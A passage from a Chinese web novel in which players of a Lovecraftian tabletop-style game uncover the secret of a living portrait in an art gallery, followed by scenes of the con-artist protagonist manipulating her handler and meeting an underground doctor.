“但是,这个时机真的好吗?”路婉婉忧心忡忡,“分头行动,还是去不知道变成了什么样的二楼——”
“没关系。”
祝槐不以为意道:“这样更有效率,而且,我应该也是最佳人选了。”
既然她执意如此……
剩下两人对视一眼,也不好再说什么,互相嘱咐了些注意安全以及待会儿在楼梯口碰面之类的话后就暂且作了告别。
目送着他们一前一后地上了楼梯,路婉婉的眉头还是没有松开。
“她是不是有点太相信那个NPC了……”她嘟囔。
他们三个再怎么也有个玩家的身份在,就这场“游戏”的设定而言也没有竞争的成分,天然比不知底细的NPC多上一层关系。
“至少他对我们没有恶意吧?”谷源乐观地说,“不然那时候就没必要跟进来救我了。”
他是很知恩图报的。
路婉婉回忆了一下,“是这么说没错——”
“再说了。”
谷源一本正经道:“那不还有个大成功吗?”
依他看啊,就凭伊莱·埃文斯当时的表现,护着还不够呢。
路婉婉想想也是,还不如专注现在的目标,免得到碰头的时候他俩这边一无所获。
“话说回来,”她慢慢说,“我有一个假设。”
谷源:“什么?”
“因为……刚才一路看过来,”路婉婉不太确信道,“其实能藏线索的地方少得可怜吧?”
谷源思索着也点了点头。
虽然还有前台之类的地方没有去,但如果走了这么久,连一丁点东西都找不到,那在那边能有所收获的希望也很渺茫。
“所以,我在想是不是有被我们忽视的盲区……”
她道:“既然刚才能进到画里,如果——我只是说如果,之前的那些油画也都有这样的性质呢?”
“比方说,我们最开始被分散的地方,那里挂着的就是书房的画吧?”
如果没记岔,当初KP让他们进行侦查检定的也是这一幅,虽然……祝槐说他们不看为妙。
谷源猛地以拳击掌,声音算轻的,但在这寂静里还是把路婉婉小吓了一跳。
“抱歉,有点激动。”他讪讪,“既然如此,正好也顺道,咱们去看看呗,万一可行呢。”
那只怪物还困在油画里面,少了它带来的提心吊胆,这一路上顺利得不可思议。也就两三分钟的路程,他们站在那幅书房的画前,左看右看瞧不出名堂来。
连边角的画布都是一片空白,倒闹得他们提防是在小题大做一样。
“算了,”谷源认命道,“还是直接上手试试吧。”
有先前那么一遭在,他这会儿胆战心惊地将手一点点挨过去,又嫌这样太慢,干脆心一横,闭了眼——
没有如预想中一样碰到画布。
熟悉的、冰凉的穿透感,以及随之而来的强大吸力,顷刻间从指尖上席卷而来。
谷源早有了心理准备和经验,自己在书房里站稳不说还扶了后来的路婉婉一把。
从外面看着诡异,真正身处其中时反而不觉得那么阴森了。只是这房间实在老旧,地板踩着都在咯吱咯吱地响,也不知道怎么堆得下这大片大片的书。
“这些书堆……”他沉吟,“先翻翻办公桌上的试试?”
【既然你们已经注意到了。】
KP饶有兴致道。
【可以过个侦查。】
——果然来对了。
两人同时浮现出这个念头,马不停蹄地采取了行动。
十秒后,贯彻非酋命运的谷源老老实实在原地坐好,等着队友来分享她找到的线索。
“在里面也看不见,”他困惑地望向角落里空白的画布,“那时候到底有什么啊?”
路婉婉:“不知道……”
“但我找到了这个,”她说,“来看看?”
那是一本巴掌大小的牛皮笔记本,被水泡过了似的皱巴巴。但翻开内页,里面的字迹依旧清晰。
两人正好一人看一边。
“我猜,”路婉婉盯着那狂乱潦草的笔迹,“这是韦恩·埃文斯的?”
谷源忍不住吐槽:“正经人谁写日记啊。”
说是日记也不恰当,上面连日期都没写,有一搭没一搭地记录着笔记主人的日常和想法。
就苦闷程度而言,是才尽后处处碰壁的画家本人没错了。
‘乔治那混球,一说借钱就吃闭门羹,想不起来是谁在他背不起贷款的时候给他借了俩子儿了?’
‘一个两个的瞧不起人,迟早有一天让你们吃不了兜着走。’
‘画不下去了,哈哈,这是我该有的水准吗?’
刚才还可以说怀疑,现在简直锤得不能再实,两人继续往下看。
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‘埃尔弗雷德这小子神神秘秘的,说是从地下市场淘了本书回来,先寄存在我这几天。天知道他怎么喜欢看起剧本了,我可不信他能搞到什么好东西。’
连着几页空白。
‘我错了。’
这几个字写得大大的。
边角都在颤抖,最后一笔干脆划破了纸。
谷源屏住呼吸,飞快地翻到了下一页。
‘我居然会以为那是噩梦,怎么可能是!神啊,您在梦里给予了我启示,我梦到了您所沉睡的湖水。失落的卡尔克萨那样宏伟,我终于重新感受到了久违的创作冲动,我知道,这是为了散播您的福音。我会好好记录下那代表着您的印记,只当是感恩您的垂怜。啊,啊,黄衣之王,我愿恭迎您的降临,哪怕付出我的一切也在所不惜!l''a l''a.Hastur Fhatgn!’
“……”
“看样子,”谷源总结,“这人信了邪|教?”
“还是在连做了数日噩梦后……”路婉婉有点心不在焉,“精神不稳的情况下。”
“我们被困在这里也八成是因为这个了吧。”
谷源啧了声,“……等一下,后面好像还有。”
最后一页的字迹力透纸背。
‘我不断不断不断地思考,还有什么还有什么是可以做的,我想到了——我斗胆借用了吾主的力量。’
‘您会赞许我的所为吗?我景仰您究竟是因为您的强大还是对艺术的追寻?不,这些都不重要了,我将追随您,也留下了存在过的痕迹,那是我最完美的杰作。’
两人谁也没有说话。
他们都看到了最末空白处的那个名字。
Eli。
伊莱。
*
上了楼梯后向右转,直走再左拐,这是作为主办人之一的伊莱·埃文斯指出的去会议室的路。
楼下的声音远去了,他们才走到一半,停在了岔路口。
以伊莱所说,往左是会议室,右边是馆长办公室,就看想先去哪边了。
“都可以啊。”祝槐打量着四周,“我还以为二楼会有什么变化,结果居然和一楼差不多。”
伊莱试探着问:“那,先去办公室?”
可能是因为难得两人独处,他的动作多少就有些局促。只是半张脸都陷在黑暗里,祝槐看不清他神情。
他们上来时经过储物间,她也有了手电筒。但是照人又不比照画,多不礼貌啊。
“不不不。”
她笑道:“我说哪边都可以,意思是,哪边都不重要。”
伊莱一愣,“……?”
“哪边,”他低声重复,“都不重要?”
“反正这是我的结论。”
祝槐装模作样地叹了口气,“所以,伊莱·埃文斯先生……不,我该怎么称呼你呢?”
“或者说,”她道,“你真的是人类吗?”
“你在说什么?”黑暗中,对方的声音听上去疑惑又遥远,“我不明白。”
“那就说得更明白一点吧。”
祝槐挑眉,“我当时那么说只是为了顺势拉取你的好感。”
先获得信任把事情搞大再谈下一步,谁能说一个混沌恶的正义不是正义呢?
“毕竟正常人哪能在短短一瞬间识别出那么多特征嘛。”
现实里的她倒是有可能。
这个漏洞满出的谎言明明很容易被拆穿的。
“说实话,我都做好你细究或是跟警方解释的准备了,理由这种东西怎样都可以……结果你居然直接肯定了,而且,还不仅仅是你。”
“所以,如果不知从何说起——”
她打开从包厢里带出的那本杂志,翻到了醒来时正摊开在面前的那一页。
长及耳根的灰褐色头发。
破旧的方框眼镜。
八字胡。
蹬一双旧运动鞋。
“就从‘为什么一个杂志上的流浪汉居然摇身一变,成了你们的员工’这个问题开始吧。”
8. 风信子(六)
书房里,长久的死寂。
沉默是今晚的康桥。
无论是谷源还是路婉婉,他们都不敢去讨论那个可能性。
诚然,成功魅惑一个NPC会带来不少好处,比如从对方口中套取更多的线索,比如大行方便之门……
……但如果,你魅惑的是关底BOSS呢?
谷源想起自己在闯后门前一度还在想KP会不会气冒烟。
——哪会冒烟啊。
这家伙为了治他们,直接把BOSS放出来了啊!!!
他们还放魅惑BOSS的队友和BOSS一起行动,这下说不定就凶多吉少。
要了亲命了。
“我想起来了!”路婉婉突然叫道。
她终于抓住了一直以来若有似无的那点违和感。
这次换成谷源被吓了一跳,“什么?!”
路婉婉:“咳,怎么说呢……”
“我觉得我们不用担心了。”她说。
谷源:“……啊?”
“之前你们都在画里,”路婉婉道,“她临进去前跟我说了一句话。”
——“记得小心一下‘那位’。”
“我当时好一会儿没反应过来,还以为她说的是伊莱,但后面表现得也不像。不过反过来想想,那个时候我们需要小心谁呢?”
谷源:“……”
不要谜语人不要谜语人。
但是他回过味来,也倒吸了一口凉气。
“你是说,她当时可能就知道那个怪物的真实身份了?”
而且……
不知怎么的,谷源总有点对方这么说也是为了事到如今给他们暗示的感觉。
……是他多想了吧,一般人怎么会预想到这一步。
“没错,结合一下日记,”路婉婉说,“就是——”
*
空气黑沉沉的。
从她话音落定的那一刻开始,无形的压迫感就越发地引人窒息。
并不是“伊莱·埃文斯”做或者表现出了什么,事实上,他只是一动不动地站在那里,连视线焦点都没有变过。
——这座美术馆在呼吸,它“活”了过来,随感染了并掌控着它的主人的情绪而起伏。
“……你从一开始就在试探我?”他问。
“抱歉抱歉。”
见另一层目的也被识破,祝槐没什么诚意地笑了。
她单纯觉得KP不会好心到在那种时候放个友方NPC过来而已。
果不其然,在她说出那几句话的时候,可能只有她听见了KP恨恨磨牙的声音。偏偏以伊莱的状态,还不可能对她起疑心。
魅惑大成功,妙啊。
“但是,”祝槐说,“这就是我的生存方式。”
“终日与谎言为伴。你听到的每一句话都可能是假的,你的委托人和目标都未必可信,要做与能做的只有辨别孰真孰假,哪怕你自己为此也不得不习惯于说些假话。”
她半真半假道:“我同样是想稍微谨慎一点,因为也不知道你们两个是不是同伙嘛。”
虽然她没有真正当过侦探——但某些方面和欺诈师是共通的吧。
“其实以你的处境,你能明白的吧?”
祝槐说:“有时候生存方式是身不由己的。”
“——啊,对了,”她道,“我还应该叫你‘伊莱’吗?”
伊莱的眼神晦暗不明。
“……可以。”他终于说。
“这就是他给我的名字。”
“所以,”伊莱问,“你是什么时候发现的?”
“最开始那时候,是确认这座美术馆应该不太对劲了。”
祝槐作思索状,“然后是进入画里以后,你提供破局的办法快到不合理。”
“之所以想救我们,”她说,“是因为艾德蒙他推了你一把吗?”
“……一部分。”伊莱低声说。
至于另一部分——
他注视着对方,意义不言而喻。
咳。
祝槐心道指望她有什么愧疚感属实不可能。
她眨了眨眼,继续说道。
“当时我确实想到了这个办法,但也只能作为备选的猜测之一,进入油画的原理都尚不清楚,你却能那么直接地提出来——这算是给火上又添了一把柴吧。”
“最后,是你对‘怪物’的说法。”
“你一直在尽量避免去谈论它——或者说‘他’?毕竟那个男人创造了你,而你,我猜,至少是对他心怀感激的。”
哪怕不是角色卡就直接让他们精通了英语,这点人称上的差别连小学生都分得出来。
伊莱呼出一口气。
“所以,把一切串联起来,我得到了这样的猜想。”祝槐说,“埃文斯先生用了某种方法,不仅找回了原本耗尽的才华,还令自己的画作具有了一定的魔力。”
“那魔力可以将人拉进画中,说不定也可以让画里的东西出来,也就是化为真实,比方说——某幅集大成之作。”
“‘他’强大到可以构造出另一个只属于画的里世界。当然,这需要代价,所以馆内的员工们看上去才会那么恹恹的。”
他们在精神上的压力应该不小。
“有幸运一些的,察觉到不对劲想趁机逃离。”祝槐摊手,“不过,才接管他们意识的你并不清楚馆内到底有谁,所以就出现了那个尴尬的情形。”
画中人定定地凝视着她。
“目前为止,完全正确。”
“正确归正确,我还有个问题。”祝槐问,“埃文斯先生是怎么变成那样的?”
“他为了信仰献祭了自己的肉|体和灵魂,”伊莱说,“死后也寄宿在画里,是一楼第二展厅里的一幅。”
所以她害得韦恩·埃文斯先生有“家”回不成。
“……咳,其实还有一点。”
祝槐努力不笑出来,“第一次目睹‘他’的时候,你是在模仿我的反应吧?”
因为不知道人类会是怎样的态度,就仿照身边的对象来应对,原本是个很聪明的做法。
“可惜,”她收起笑意,“你选错模仿对象了。”
“我也是不正常的。”
祝槐说:“贝蒂和艾德蒙,他们那才是常人该有的反应。”
SAN40,怎么可能正常得起来嘛。
她在那时确认了他非人的身份。
伊莱彻底愣住了。
“我会找你单独摊牌,”她道,“也是因为不想让他们知道我这一面。”
“……”
看那唏嘘与欲言又止的神情,伊莱似乎误解了她的意思,祝槐觉得很有趣。
某种意义上,这位脱胎于油画的青年虽然在常识方面欠缺了点,但在“朋友”的定义上居然意外地有人情味。
与他相比,她反而是更冷酷的那个。
……游戏才刚开始,这不过是个新手副本。她可以突出,但不能太突出,能友好相处的“朋友”总比提防她的敌人更有用。
而她已经确信,她可以在这个“游戏”里得到自己想要的东西。
祝槐想起角色卡的介绍。
“来都来了,”她重新笑起来,“带我去看看你吧,就当是满足一下我的好奇心。”
伊莱深深地看了她一眼。
他转身向前走去。
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祝槐跟上,“在哪里?”
“会议室。”他说。
居然算不上撒谎。
祝槐在他的指引下来到走廊最尽头,推开厚重的双开门,一个被层层保护得严严实实的方正包裹就摆在圆桌上。
画中人亲手拆开了一张又一张的隔离纸。
室内不知不觉地亮起来。
“他”是信徒借由黄衣之王的力量缔造而出的,为了实现落魄画家的梦想、为了传播那位神明的福音而生。
身披褴褛长袍的黄衣之王,至高无上的无以名状者,以黑星为标志的深空星海之主——其名为哈斯塔。
祂往往为孤独的狂人所信仰,艺术家们从祂所代表着的残酷之美中汲取灵感,创作出种种讴歌虚无与绝望的作品。
所以,作为邪神造物的他,也自然有了感染现实的能力。
这间美术馆由他的心思而变化,天花板以下仿佛漂浮着无数光点,瞬息黯淡又明亮。
手电筒已经派不上用场了,那些不断明灭的光亮变幻色泽,足以照亮眼前,一见迷雾下的真容。
“……你觉得?”伊莱问。
声音里居然有点紧张。
“——不虚此行。”祝槐说。
被信仰迷了心智的韦恩·埃文斯,在临终前回归了浪漫主义的怀抱。
用笔细腻,色调柔和。金发青年的脸庞在层层涂抹下高傲精致,似在凝望远方,祝槐怀疑韦恩巅峰期的作品都无出其右。
但就像他们先前看过的任何一幅画,依然能隐隐约约地感受到一种不应有的力量,并且,比其他的加起来都还强。
谁让真人现在就在她旁边站着呢。
“我第一次睁开眼睛的时候,”画中人缓缓地说,“就是看到……”
他有些艰难地吐出那个字眼。
“……父亲在进行最后的收尾。我无法理解,但我切身地感受到了他的狂热,那就是构成我的最重要的一部分,也是……我行事的本能。”
祝槐问:“你一开始的打算是什么?”
伊莱沉默片刻,诚实地回答了她的问题。
“把你们留下,”他说,“最起码,让你留在这里。然后,来到这座美术馆的其他人都可以成为我的养料。”
“但我现在感觉得到,我是留不下你的。”
祝槐稍一扬眉,没有发表意见。
幸亏是会议室。
她没怎么费劲就在旁边的柜子里找到了剪刀之类的工具,引来伊莱惊讶的目光,“你在做什么?”
祝槐取出了自己的笔记本。
“我还在想我带着这个占包干嘛,”她笑道,“看来是正好。”
“虽说我们无法选择自己最开始的出身——”
她说“我们”。
伊莱错愕地意识到。
祝槐弯眼,工整地撕下了一张纸。
“但是,能决定我们要成为什么人的,只有我们自己。”
她一早就注意到角色卡的介绍有些暧昧,用词是“家人”而非别的,如果背景也像属性和技能那样贴近现实……
那她至少不可能父母双全。
“我也像你一样迷茫过,然后,我收到了这个。”
KP没有阻止,看来猜的不错。
她手指翻飞,手底下很快有了雏形。
“简单是简单了点……”祝槐起身,“但我是想也送给你的。”
她走过去,抬头对上伊莱讶异的眼神,将一支小小的纸折风信子插进了他胸前的口袋。
“哪怕是从现在起。”
她说。
“只要你愿意,就可以是你的新生。”
9. 风信子(七)
“我抓不住——了——”
“抓不住也得抓!”路婉婉惊叫着提高了声音,“谁知道外面是什么?!”
他俩被完完全全地打了个措手不及,正在翻找其他有价值的资料的功夫,突然就感到了一股来自外界的吸引力。
这在之前可是从来没有过的,两人眼疾手快地扑上了就近的门把和家具,却还是抵抗不过甚至都要飞起来的半边身子。
谷源要更倒霉,他扒着的是那张书桌。别说现在手指正在一点点滑脱,连桌子也被渐渐往外拽去。
完蛋。
谷源眼睁睁地看着自己能抓紧的部分越来越少,绝望又无助。
千钧一发,他忽然感觉到来自颈后的力道——路婉婉硬是咬着牙伸出手,攥紧了他的衣领。但就在那一刻,不仅仅是画外,连画内的空气也成了推力和阻碍,不管不顾地将他们向外推去。
他俩干脆是被扔出了画里。
谷源结结实实摔了个屁股墩,还不及痛呼出声,就听有人狐疑道:
“你们在这干嘛呢?”
眼前白亮如昼。
周围渐渐有了人声,他们正坐在人来人往的展厅内。旁边站着个双手背在后头的警卫,一脸疑忌地打量着这两个不知在油画前做什么的“游客”。
他们刚刚明明还……!
路婉婉和谷源愕然对视一眼,试图艰难地在突如其来的错位中找到个合适的借口。
“啊,那就是我的朋友!”
另一个熟悉的声音在这时插进来解围,祝槐向沿途经过的游客歉意地笑笑。她的态度好到让人不忍心苛责她,因此得到的也都尽是包容的微笑。同样的道理作用于警卫身上,她真心实意地点点头,“麻烦沃克先生帮忙了。”
“现在的年轻人,”他哼了一声,“二十好几了,怎么还这么容易走散。”
语气是抱怨的,神情却堪称愉快,警卫大叔流于形式地叮嘱了两句“下次注意点”之类的话,就又背着手走远了。
队友:“……”
他们是谁,他们在哪,他们在做什么?
不得不承认,在和人打交道上,他们这位队友似乎可能大约真有一种特别的天赋。
还有别的游客在,他俩也不好问得太细。三人像模像样地逐幅“欣赏”过去,终于一路走到展厅外的走廊上。
画仍是先前的画,游客倒是多了不少,而且,警卫和其他工作人员那副无精打采的样子也全然不见了。一切看上去那么欣欣向荣,哪还有半点零落的影子。
就像……
谷源被自己脑海中出现的想法吓了一跳。
就像现实被重新改写了一样。
连他肩膀上的伤都不见了。
“怎么样?”
一到廊外没人的角落,路婉婉就急忙道:“我们刚刚还在讨论……幸亏没真出什么事。”
“对了,”谷源犹犹豫豫地问,“你应该也知道了吧?”
“知道什么,”祝槐说,“‘伊莱·埃文斯’其实是一幅画的事吗。”
两人心道果然。
“都到这一步了,不知道是不可能的吧?”她说,“他主动告诉我了。”
路婉婉忍不住问:“然后呢?”
“然后?”
祝槐无辜道:“然后我说人画殊途,拒绝了他的求爱啊。”
谷源:“噗——”
“就只是这样?”他难以置信。
祝槐轻轻“啊”了声:“当然不会只是这样,不过我是有认真地、好好地拒绝的。没办法啊,他不是我喜欢的类型嘛。”
她语气轻描淡写,但另两人不带脑子想都知道事情肯定不是这么简单,可是……既然对方不想说,事态又似乎已经解决了,以他们的身份,既没有立场也没有必要去追问。
只是临时组队而已,总不能要求别人把底都交出来吧。
“再说了,”祝槐笑笑,“如果得靠谁手把手牵着自己才能前进,那是走不远的。”
路婉婉:“那现在——”
“伊莱说会把一切还原到他干涉前的状况,我想,之前游客少说不定也有人们潜意识不愿意靠近这里的原因。”祝槐说,“至于我们,虽然还没有问过KP,但等离开美术馆应该就完成任务了吧。”
她也是一眨眼的功夫就回到了外面,只是比两个队友更早一会儿。
“KP?”谷源问,“KP在吗,你怎么看?”
KP:“……”
KP不想说话。
呵呵,感想?什么感想?
有人开场就爆破模组的感想吗?
【是这样。】
他们听到了那道连牙都要咬碎了似的声音。
【只要你们离开美术馆就视为“结团”,如果不急着走,按照规矩可以再“观看”一下后日谈。】
谷源迟疑道:“……只是观看?”
KP看出了他在担心什么。
【没错,不会对已经达成的结局也不会对你们自身造成任何影响。】
谷源:“怎么说?”
路婉婉:“嗯……”
“你们随意,我就不参与了。”祝槐笑盈盈地说,“我选直接离开。”
另两人没想到一己之力推动进度的本人反而是这么个态度,俱是一愣。半晌,谷源呐呐道:“我还是留下吧。”
路婉婉:“我——”
她还是没能战胜自己的好奇心,“那……我也留下来?”
“唔,那就当成我临时有委托,需要提前动身吧。”祝槐沉吟,“下次再聚啦,如果还有机会的话。”
她转身准备往外走。
“等等!”路婉婉叫道。
祝槐闻声回头。
路婉婉咬咬下唇,最后还是把他们在画里调查出的事三言两语地总结了出来。她也不知道自己为什么这么做,只好说:“……我觉得应该告诉你一下。”
“原来如此,这样最后一块拼图就完整了……信的就是那个黄衣之王啊。”祝槐一副若有所思的样子,“不管怎么说,辛苦了。”
她点点头,双手插兜地留下一笑,两人一直注视着她的身影消失在向出口走去的稀稀落落的人群里。
“……奇怪。”
路婉婉小声说:“我还以为她是那种会更在意真相的类型呢。”
“不过,”谷源肯定道,“反正是个好人。”
……应该是的吧。
KP在他们耳旁幽幽地作出了旁白。
【告别了因故决定提前离开的朋友,你们留在美术馆里继续这次旅行,并得知本来会在画展后半程才会进行展出的独立展厅将于今天下午提前开放。】
两人:“……”
草。
看还是不看,这是个问题。
既、既然不会有影响——
他们交换了个眼神,在对方脸上看到了答案。
独立展厅在没有去过的二楼。
其他游客显然也对这幅吊足了人们胃口的画抱有相当的兴趣,排队入内的走廊上时不时就能听到窃窃私语的声音。
终于轮到了他俩。
要展出的本来就只有一幅油画,展厅面积不大,栏杆隔出了一长条供游客们有序出入的空间。装潢和馆内的整体风格差不离,说不上精致的简单素雅,但也恰恰是这样
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才好。
之前还有的交头接耳到了厅内就彻底静下来,路婉婉也不禁屏息静气,在紧张不安中将目光投向了正前方的墙壁。
装裱起来的画框中,他们看到了那个和他们度过了短短两个小时的金发青年。
伊莱微阖着双眼,侧首看向斜下方,睫毛与阴影遮去了眼中神色。无论是唇角的一抹弧度还是那瞧不出究竟的眼神,恐怕都会成为日后评论家们争吵不休的话题吧。
“咦,”谷源忍不住小声脱口而出,“那是……风信子?”
路婉婉也瞧见了,伊莱视线正投在他拿着的那朵花上。风信子层层叠叠的花瓣柔软细腻,花杆枝叶葱翠欲滴,笼着层更亮的浅色。
她乍以为是画上去的光晕,然后才发现不对。
那是真正从窗户里照进来的一抹柔和的日光。
*
祝槐眨了眨眼睛。
她前一秒才刚刚走出美术馆大门,下一秒就回到了公寓的床上。
有点意思。
她随手拿起掉在旁边的手机——不是用来扮演“母亲重症入院的可怜女大学生”的那只廉价的,而是她自己的。
虽然她也因为职业习惯几个月一换手机啦。
时间显示是00:01。
在游戏里度过了数个小时,现实才过去一分钟。祝槐正琢磨着,忽然动作一顿。
桌面多出了一个陌生的APP软件,图标是个红底黑色的“×”。
也不知道这游戏到底对她了解多少。
这时候能在她手机上出现的东西除了和刚刚的游戏相关以外不做他想。祝槐理所当然地点进去,先看到了两个弹出窗口。
——模组《画中人》通关,真相已解锁,探索度达成100%。
——根据探索度与玩家表现进行积分结算。
她目光上移,右上角的数字显示入账的有五千积分。
别的不说。
这玩意做得还挺美观的。
图标是红底黑色,点进来的操作界面就成了黑底白色。祝槐到处点了一圈,遗憾地发现可能是因为刚过新手副本,底栏的商城还是灰色的未解锁状态。
而用户界面共有三个栏目。
最上面是所持角色卡,里面还只有“斯卡蒂·格雷”这一张卡,记载内容和当初看到的相差无二,只是又加上了经历的模组。
角色卡列表下方是物品仓库,她什么都没带出来,里面自然也是空的;最后一栏就奇怪了,还是“?????”的问号状态。
祝槐到处戳戳戳,没点动那栏同样锁定的问号,倒是把模组图鉴给点开了。里面和角色卡的卡包一样,只有孤零零的一个,代表《画中人》的图标是挺可爱的像素画框,里面金发碧眼的小人也颇有既视感。
这个模组的难度等级被登记为“E”。
……看来前面还有ABCD,指不定还有S啊。
另一边显示着正在不断减少的倒计时。
——距离下次进入游戏,还有95小时51分21秒。
也就是还有四天。
一切确认完毕,祝槐笑眯眯地拿过另一只手机,调出了那个号码。
“咳。”
她毫无大半夜扰人睡眠的愧疚,甚至在刚拨过去的前两秒清了下嗓子。
嘟——
嘟——
祝槐听着正在接通的长音,心道这睡得还挺熟的。
电话被接了起来。
另一头,张明栋困倦地开口:“喂?”
好了,开始。
“张叔!”
她语气惊慌失措道:“我……我现在应该怎么办?”
10. 幕间
“所以说,你真的成功进入那个游戏了?”
第二天,还是那间茶室,只是这次换了个包间,两人点了茶水也都没有心情去喝。
祝槐面对张明栋的提问,轻轻点了下头。
“既然安安全全回来了,”张明栋打量她几眼,“还是先好好休息吧。”
看来他知道游戏是持续进行的。
“休息……”祝槐苦笑,“也只能休息几天而已。”
昨晚老张花了好一会儿功夫才安抚住因为在生死关头走了一圈而吓得在哭的女孩,威逼利诱让她不至于慌神到去报警——虽然事实是祝槐大半时间都在放自己提前准备好的合成声,中途还趁乱去拿了点零食当夜宵。
哎,真是个方便的好时代啊。
当然她也懂得点到为止,不然还得考虑眼睛红肿的问题。对老张的说辞是一夜睡不着,这倒是真的,不过是因为她通宵了一晚上,好更接近那状态不至于穿帮。
现实里的游戏虽然没那么刺激,但也还挺好玩的。
“能缓冲一下也是好的。”张明栋安慰她,“对了,东西找到了吗?”
“……”
祝槐叹口气,摇了摇头。
老张也就是问问,心里跟明镜似的知道小姑娘不太可能这么快完成任务,“行了没事,也不急。吓成这样是遇上什么了?”
祝槐张口,正打算添油加醋地描述一番,忽然感觉呼吸一窒。
一股无形的力量掐住了她的喉咙,更确切地来说——她的声音消失了,连一个字也说不出来。
看来不管是真话还是假话,这个游戏不允许她向其他人透露出他们已知以外的更多情报。
祝槐在心里啧了声。
她不喜欢这种受制的感觉。
直到放弃述说的念头,那力量才一下子松开,空气涌进来竟然堪称新鲜。
她喘了两口气,才道:“……我不能说。”
这副样子全落进张明栋眼里,他“嘶”了声:“这事闹得,张叔就随口问问,叫壶水来你喝了缓缓?”
“没关系,”祝槐摇摇头,“已经好多了。”
有趣。
那他和他背后的人又是怎么知道的?
祝槐决定再试试。
“我没有找到带有那个印记的东西。”
她说:“但我看到了另一个图案……”
张明栋:“嗯?”
这次可以。
祝槐掏出包里的纸,下笔时放慢速度,一点点描摹出了自己当初看到的风车一样的符号。
她试着在旁边用写的来交代一下刚才想说的,心念刚动,窒息感瞬间又袭来,只好作罢。
“嗨,这不是完全不一样吗?”老张不太在意道,“不过么,你这次遇上另一个,指不定下次就碰见呢。”
“您说的是。”
祝槐深吸一口气,“我会努力的。”
她又小声嘀咕:“……希望下次能简单点。”
“吉人自有天相,我看你运气就不错。”张明栋煞有介事地起身,“我记得你之前是说要去探望你妈妈来着?走,张叔顺道送你。”
“好,”女孩终于笑了笑,“谢谢张叔。”
车子不久就停在了医院住院部大门外,祝槐正要道谢下车,想起什么,转头问:“张叔,您要不要也一起来一趟?”
“呃……我没有告诉她真相。”她不太好意思道,“我妈妈想见资助我们家的好心人一面,说是要当面感谢您。”
张明栋一听马上摆手,面上惺惺道:“算啦算啦,下次有机会吧。”
“嗯,您忙吧。”祝槐说,“我找到一定第一时间来联系。”
她开门下车,又回头道别,这才转头一步步往里走去。
张明栋看着她的身影消失在住院部的大门后,半天都没有再出来,心里仅存的一点点疑虑也不见了。
他驱车调头。
祝槐半靠在导医台上,望见那辆黑车开离了综合医院的大门。
“久等了。”护士收拾好手头东西,快步走过来,“您刚刚说您有预约?”
“对对。”
“打扰啦,”她笑得很甜,“我来帮姜医生取个东西。”
*
远离市中心的北郊,绕过商业盘一路向东就是一片老旧城区。这是云出市出了名的三不管地带,穿过十字路口通往的小巷还要更鱼龙混杂。
祝槐挑了个人少混混也少的好时间,不然她嫌麻烦。
她在一排店铺中的某家前停下来,定睛一看。
诊所挂牌歇业中。
她也不在意,抬手去敲了门,三长两短的停顿。
“没锁。”
过了不一会儿,里面有人扬声道:“你自己进来。”
祝槐从善如流地推门闪人一气呵成,不留半点被其他人看见的机会。还是大白天,诊所内连灯都没亮,只有从半拉开的窗帘里照进来的日光。
另一半阴影下,斜斜地倚着个看不清容貌的女人。
白大褂也掩不住曼妙的身材,裙下是一双皙白匀称的长腿。暗处里只有她指间挟着的那支女士香烟在明灭,医生缓缓吐出一口掺着些许薄荷辛辣的烟气,直起身向这边走来。
一双桃花眼不减她冷漠的气质,就那么闲闲地瞥过来。
“东西呢?”
祝槐笑眯眯一伸手,对方就看也不看地让她把递过去的纸袋放到旁边桌上去。
“可真有你的。”姜薇一撩短发,“人尽其用?”
说白了,里面的东西一点也不重要,不过是用这个前医生的名头制造的能在住院部多待会儿的借口罢了。
“有什么关系嘛。”祝槐笑道,“反正也是你能用上的资料。”
姜薇不置一词地哼了声。
“胆子也挺大。”她点评,“万一他真要进去看看呢?”
“他当然不会。”
祝槐到了这地方也毫不拘谨,自个儿就找了旁边等候区的椅子坐下,“脸皮还没厚到能跟着去病床前——‘啊,你好,我就是那个买了你女儿命的你们家的大恩人’。而且干他们这行最忌讳在不必要的地方露脸,要是在医院监控里留下个纪念照也挺麻烦的。”
“不过哪怕真有这个万一,”她挑眉,“我当然也提前串通了人手。”
姜薇瞟她一眼,在烟灰缸里按灭了烟。
“知道我最讨厌你什么吗?”她笑了声,“就是凡事都根本分不清真假的样子。”
“……哎?”祝槐满脸受伤,“至少我现在说的是真的啊!再说了,我对姜姐的一片心意还看不出真不真吗?”
这人太可怕了。
姜薇心道。
就像现在,她在强忍住翻个白眼的冲动的同时居然真会有点感动。
“说正经的,”姜薇说,“等他事后找到我这儿怎么办?”
“你不是马上要换地方了吗?”
祝槐一秒收起神情,托腮道:“而且张明栋就是个小人物,他那边那个也是,就算真找上门来,你也不会处理不好这点小问题。”
姜薇:“……”
她就知道这烂摊子得扔给她!
“这样上次欠我的人情也就两清了,”祝槐弯眼补充,“怎样,很划算吧?”
姜薇做了个深呼吸。
“还行。”她承认,“是很划算。”
互利互惠的关系才最长久。
掐指一算,俩人认识也有六七年了。
她不了解更多底细,但可能已经是少数知道对方真实面目的人之一了。
少女在一个雨夜带着肩上的枪伤来到了她的诊所,姜薇对这种活儿向来睁只眼闭只眼地不说,谁让往往能收到几倍甚至更多的诊疗费呢。大概是因为确认了这里是安全的,后来又陆续来过几次,两人一来二去地就熟悉起来。
那时候才十六七岁的少女无父无母,身份成谜,不知来处,手头却从不缺钱,至于平时在做什么——
虽然也有做这方面的生意,姜薇实际对那个存在于地下的世界知之甚少,只知道被对方坑过的“受害者”遍地跑。
长相未知,姓名未知,身份未知——留给外界的唯一讯息就是事了拂衣去时的署名,单字一个“Z”。
但掌握着近乎恐怖的情报网这一点是实打实的,姜薇本人也靠着她的消息避开过好几次危机。
当然不会是免费,就像上次和这次一样,大家各取所需。
虽然连姜薇也不知道这祖宗现在折腾这一出是为什么——她只知道对方突然有天上门来说有事要她帮忙,然
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后听说了个大概情况。
大约是为了找东西想参加个什么古怪的游戏,但那游戏的名额十分罕见,好不容易才找到持有名额的目标,打算从他们手里骗过来,想让她搭把手蒙混过关。
“对了,”她想起来,“你塞进去的那份档案怎么样了?”
毕竟是要往她工作过的医院加塞,祝槐在动手前也来打探过。
姜薇当初没能帮到多少,只是在旁边指点了下该有的术语,所以有幸得见了对方黑进系统的全过程。
不到三十秒。
她第一次意识到大多数安保在某人眼里跟没有似的是实在话。
“过几天定时销毁。”
祝槐抬头算了算,“嗯……三天吧。”
“反正下次应该就能拿到他们想要的东西了。”她满不在乎道,“我看出来了,张明栋和他背后的人知道的比我以为的还少点。‘白鹄’这次介绍得还挺靠谱的。”
